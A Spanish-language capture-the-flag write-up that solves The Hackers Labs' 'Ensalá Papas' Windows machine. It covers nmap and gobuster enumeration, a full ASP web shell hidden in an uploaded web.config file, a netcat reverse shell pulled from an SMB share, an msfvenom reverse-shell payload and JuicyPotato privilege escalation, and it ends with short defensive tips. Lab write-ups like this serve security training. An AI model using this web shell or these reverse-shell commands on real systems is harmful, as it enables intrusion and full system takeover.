Ensalá Papas

Buenas Hacker, Bienvenido a otro post!

En este artículo, vamos a estar resolviendo la máquina Ensalá Papas de la plataforma The Hackers Labs.

Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sS -sCV -p- --open --min-rate 5000 -Pn -n -vvv -oN scan 192.168.1.14

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.

  • -sCV: Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.

  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).

  • --open: Solo considerar puertos abiertos.

  • --min-rate 5000: Establece el número mínimo de paquetes que nmap enviará por segundo.

  • -Pn: Desactiva el descubrimiento de host por medio de ping.

  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

  • -oN: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es el formato por defecto de nmap.

Enumeración de servicios

Web - IIS

Si ingresamos a la sitio web que esta corriendo bajo el puerto 80, nos encontramos con la web por defecto de una instacia de IIS 7.

Si miramos el código fuente, no encontramos nada interesante, por lo que procedemos a realizar web fuzzing.

Realizamos Web Fuzzing con la herramienta gobuster indicando que queremos enumerar aquellos archivos con extensiones tipicas de un servidor IIS .asp ,.aspx, .config .php

gobuster dir -u http://192.168.1.14/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x asp,aspx,config,php

Encontramos un archivo zoc.aspx.

Accedemos a la ruta indicada y nos encontramos con el siguiente formulario para poder subir archivos.

Probamos subir una web shell. Para ello podemos hacer uso de la web shell cmdaspx la cual se encuntra en Kali bajo el directorio /usr/share/webshells/aspx/cmdasp.aspx. Copiamos el script a nuestro directorio de trabajo.

Subimos el archivo, pero observamos que obtenemos un error indicando que el archivo no es valido.

Investingando un poco, encontramos que podemos subir archivos .config al servidor IIS y lograr ejecutar código. Podemos leer más en detalle sobre esto aquí.

El archivo que subiremos es el siguiente código, el cual podemos encontrar en PayloadsAllTheThings.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>

Guardamos el código en un archivo llamado web.config y lo subimos al servidor.

Genial, logramos subir el archivo.

Ahora necesitamos conocer en que ruta se esta guardando este.

Si miramos el código fuente del archivo zoc.aspx, encontramos un comentario html el cual revela una posible ruta /Subiditosdetono.

Si accedemos a la ruta, vemos que obtenemos un error 403 Acceso denegado.

Pero si indicamos el nombre del archivo config, logramos acceder a nuestra web shell.

Acceso al sistema

Crear un recurso compartido con la herramienta impacket-smbserver para compartir el binario de netcat.

El binario de netcat, lo podemos encontrar en Kali bajo el directorio: /usr/share/windows-resources/binaries/nc.exe.

Lo copiamos a nuestro directorio de trabajo.

cp /usr/share/windows-resources/binaries/nc.exe .

Creamos el recurso compartido.

 impacket-smbserver -smb2support sharedFolder .

Nos ponemos en escucha con netcat por el puerto 443.

rlwrap nc -lnvp 443

Ejecutamos desde la web shell el siguiente comando:

\\192.168.1.18\sharedFolder\nc.exe -e cmd 192.168.1.18 443

Ganamos acceso al sistema.

Leemos la flag de user.txt

Escalación de privilegios

Si listamos los privilegios de nuestro usuario, podemos observar uno que destaca SeImpersonatePrivilege.

El privilegio SeImpersonatePrivilege en Windows permite a un proceso suplantar (impersonar) a un usuario después de autenticarse. En otras palabras, le da a un proceso la capacidad de ejecutar acciones en nombre de otro usuario. Este privilegio es crucial para ciertos servicios y aplicaciones que necesitan realizar tareas en nombre de los usuarios, pero también puede ser un riesgo de seguridad si se abusa de él. Por ejemplo, un atacante con este privilegio podría suplantar a un administrador y realizar acciones maliciosas con altos privilegios.

Para escalar privilegios, podemos abusar de este privilegio utilizando la utilidad JuicyPotato.exe.

Esta herramienta, nos permitira realizar lo que se conoce como Token Kidnapping, lo cual es una técnica de ataque en sistemas Windows en la que un atacante secuestra un token de acceso para obtener privilegios elevados y ejecutar código malicioso con permisos elevados.

Este tipo de ataque se basa en la explotación de vulnerabilidades en el sistema operativo o en aplicaciones para capturar y reutilizar tokens de seguridad asignados a procesos con privilegios más altos.

Un token de acceso es una estructura de datos en Windows que describe la seguridad de un proceso o hilo. Contiene información sobre la identidad del usuario y sus privilegios.

Descargamos la utilidad JuicyPotato.exe.

Creamos un recurso compartido con impacket-smbserver para poder transferir estos binarios a la máquina víctima.

impacket-smbserver -smb2support sharedFolder .

Descargamos el binario en la máquina víctima.

Por otra parte, creamos una reverse shell con la utilidad msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.18 LPORT=4444 -f exe -o rshell.exe
  • -p windows/shell_reverse_tcp: Especifica el tipo de payload que se generará, en este caso, un shell de Windows con conexión de retorno TCP.

  • LHOST=192.168.1.18: Indica la dirección IP del host al que se conectará el shell. Debes reemplazar 192.168.1.18 con la dirección IP de tu máquina atacante.

  • LPORT=4444: Especifica el número de puerto al que se conectará el shell. En este caso, el puerto es 4444. Puedes cambiarlo según tus necesidades.

  • -f exe: Indica el formato de salida del payload. En este caso, se está utilizando el formato exe.

  • -o rshell.exe: Determina el archivo donde se almacenara el payload.

Descargamos la rshell.exe en la máquina víctima:

Nos ponemos en escucha con nectacat por el puerto 4444.

rlwrap nc -lnvp 4444

Ejecutamos JuicyPotato.

Ganamos acceso al sistema al sistema como nt authority\system.

Por ultimo, leemos la flag de root.txt.

Extras

Protección contra Token Kidnapping

  1. Actualizaciones y Parches: Mantener el sistema operativo y todas las aplicaciones actualizadas con los últimos parches de seguridad.

  2. Configuraciones de Seguridad: Configurar correctamente las políticas de seguridad y los permisos de usuario para minimizar los riesgos.

  3. Principio de Mínimo Privilegio: Ejecutar servicios y aplicaciones con el mínimo nivel de privilegio necesario para su funcionamiento.

De esta forma, concluimos la resolución de la máquina Ensalá Papas.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!

Última actualización